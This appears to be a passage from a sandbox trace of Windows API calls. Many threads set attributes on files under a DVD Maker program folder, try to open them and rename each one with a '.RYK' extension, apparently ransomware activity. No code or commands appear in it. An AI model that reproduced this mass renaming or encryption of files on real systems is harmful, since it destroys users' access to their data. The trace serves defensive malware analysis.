	[0183.404] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0183.409] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.420] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 929
	os_tid = 0x142c

	[0183.427] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png", dwFileAttributes=0x80) returned 0
	[0183.432] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.432] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 930
	os_tid = 0x1430

	[0183.430] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png", dwFileAttributes=0x80) returned 0
	[0183.439] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.449] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 931
	os_tid = 0x1434

	[0183.434] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0183.434] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.434] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 932
	os_tid = 0x1438

	[0183.457] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0183.463] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.472] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 933
	os_tid = 0x143c

	[0183.479] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0183.484] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 934
	os_tid = 0x1440

	[0183.503] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0183.508] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 935
	os_tid = 0x1444

	[0183.526] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0183.532] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.542] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 936
	os_tid = 0x1448

	[0183.628] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0183.634] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 937
	os_tid = 0x144c

	[0183.651] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv", dwFileAttributes=0x80) returned 0
	[0183.656] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.667] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 938
	os_tid = 0x1450

	[0183.675] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0183.680] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.691] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 939
	os_tid = 0x1454

	[0183.702] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0183.702] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.702] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 940
	os_tid = 0x1458

	[0183.704] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png", dwFileAttributes=0x80) returned 0
	[0183.705] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 941
	os_tid = 0x145c

	[0183.707] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png", dwFileAttributes=0x80) returned 0
	[0183.707] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 942
	os_tid = 0x1460

	[0183.710] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png", dwFileAttributes=0x80) returned 0
	[0183.710] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.710] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 943
	os_tid = 0x1464

	[0184.306] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0184.315] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 944
	os_tid = 0x1468

	[0184.335] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0184.340] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.351] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 945
	os_tid = 0x146c

	[0184.358] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0184.364] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.377] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 946
	os_tid = 0x1470

	[0184.384] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0184.390] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.402] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.402] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 947
	os_tid = 0x1474

	[0184.409] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0184.414] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 948
	os_tid = 0x1478

	[0184.432] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0184.437] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 949
	os_tid = 0x147c

	[0184.455] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0184.461] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.470] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.471] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 950
	os_tid = 0x1480

	[0184.478] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0184.483] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.493] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 951
	os_tid = 0x1484

	[0184.499] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png", dwFileAttributes=0x80) returned 0
